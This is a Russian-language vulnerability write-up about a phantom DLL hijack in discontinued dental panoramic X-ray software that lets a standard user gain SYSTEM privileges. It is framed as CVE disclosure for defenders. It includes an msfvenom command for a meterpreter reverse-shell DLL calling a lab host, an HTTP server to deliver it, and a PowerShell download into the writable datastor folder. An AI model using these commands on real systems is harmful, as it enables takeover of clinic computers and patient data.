
Уязвимость незаметного повышения привилегий в программном обеспечении для панорамной стоматологической визуализации
Изначально это должно было быть описание метода DLL proxying в программном обеспечении дентального рентгеновского аппарата, но в ходе исследования я наткнулся на DLL, которая заставила меня перепроверить всё, и в итоге я нашёл уязвимость повышения привилегий, за которую получил CVE. В начале моей карьеры в IT я занимался технической поддержкой производителя дентальных рентгеновских аппаратов до его закрытия. Я помню ошибки, которые возникали при работе там, и всегда думал, что было бы неплохо попробовать найти уязвимости в этом ПО. Итак, учитывая, что ПО всё ещё используется сегодня, я решил проверить, смогу ли я сделать с ним что-то интересное, теперь когда я вышел из игры техподдержки. Я помню, некоторое время назад, в начале моего изучения кибербезопасности, в этом ПО было несколько «сочных» перехватываемых DLL. Я решил попробовать DLL proxying, чтобы запустить вредоносную DLL, сохранив при этом работоспособность самого ПО (очень скрытно). Вот процесс, которому я следовал, и как я случайно обнаружил уязвимость повышения привилегий, которая (теоретически) может пережить полную чистую переустановку ОС. Надеюсь, эта информация будет полезна для Blue Team.
Стоит отметить, что это ПО больше не получает обновлений, но я знаю, что рентгеновские аппараты всё ещё используются в США, поэтому потенциальный риск от этой уязвимости сохраняется. Его можно скачать здесь, а руководство пользователя — здесь. Ещё один момент: ЕСЛИ это ПО используется, то с вероятностью 99% процессы, которые запускаются, и следующие расположения внесены в белый список в любом используемом ERD/AV. Это также упоминается на странице 24 руководства пользователя. В этом описании я сделаю то же самое и добавлю эти исключения, чтобы имитировать, как это ПО устанавливается во всех стоматологических клиниках.

После установки ПО и добавления исключений запускаем Process Monitor и начинаем поиск. Добавьте следующие фильтры и перезапустите «CCS Service» в службах:
После того как список заполнится, вы заметите, что в этом ПО есть множество перехватываемых DLL. Вы увидите множество результатов «NAME NOT FOUND» с последующим «SUCCESS» для той же DLL, но в другом расположении. Однажды я просматривал список в поисках подходящей для проксирования, и почти в самом низу мне кое-что бросилось в глаза...

Неужели это? ДА! Это phantom DLL, вызываемая с привилегиями SYSTEM из пользовательского места записи. По сути, это DLL, которая не подходит для проксирования, так как на машине нет реальной DLL, поэтому Windows будет пытаться загрузить её из предопределённого набора папок в определённом порядке.
В нашем случае пятый каталог — это C:\ProgramData\Ajat\panoramic\datastor\lnrdlib.dll, и все пользователи имеют права на чтение, запись и выполнение в этом расположении. Вдобавок, это расположение является дочерней папкой C:\ProgramData\Ajat\, которая должна быть внесена в белый список в любой среде, где это используется.

Вот сетевая конфигурация для этого теста:
Начнём с создания простой стандартной DLL meterpreter, так как нам не особо нужно беспокоиться об AV, затем запустим HTTP-сервер для её передачи.
## msfvenom для создания dll
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.1.137 LPORT=443 -f dll > lnrdlib.dll
## python http сервер
python3 -m http.server 80
Вернувшись на Windows, переключимся на нашу стандартную учётную запись пользователя, откроем powershell, перейдём в папку datastor и выполним следующее:
wget http://10.0.1.137/lnrdlib.dll -outfile lnrdlib.dll

Если всё сделано правильно, для запуска эксплойта достаточно перезагрузить компьютер (поскольку обычный пользователь может это сделать; перезапуск службы CCS Service также вызовет его).

УСПЕХ!!!
Одной из ключевых особенностей расположения datastor является то, что это одно из двух мест, которые должны быть зарезервированы на случай, если компьютер нужно будет переустановить или заменить по какой-либо причине, а затем переустановить ПО. Если содержимое папки calib потеряно, технику придётся приехать и откалибровать рентгеновский аппарат заново. Если файлы datastor потеряны, теряются последние рентгеновские снимки, которые ещё не были сохранены, поэтому это расположение является в некоторой степени необязательным для резервного копирования. Именно в этом расположении будет находиться вредоносное ПО, поэтому теоретически возможно случайно повторно заразить компьютер, если восстановить содержимое резервной копии datastor, содержащей вредоносную программу и все последние рентгеновские снимки, на новом компьютере. Это упоминается на второй странице руководства пользователя.
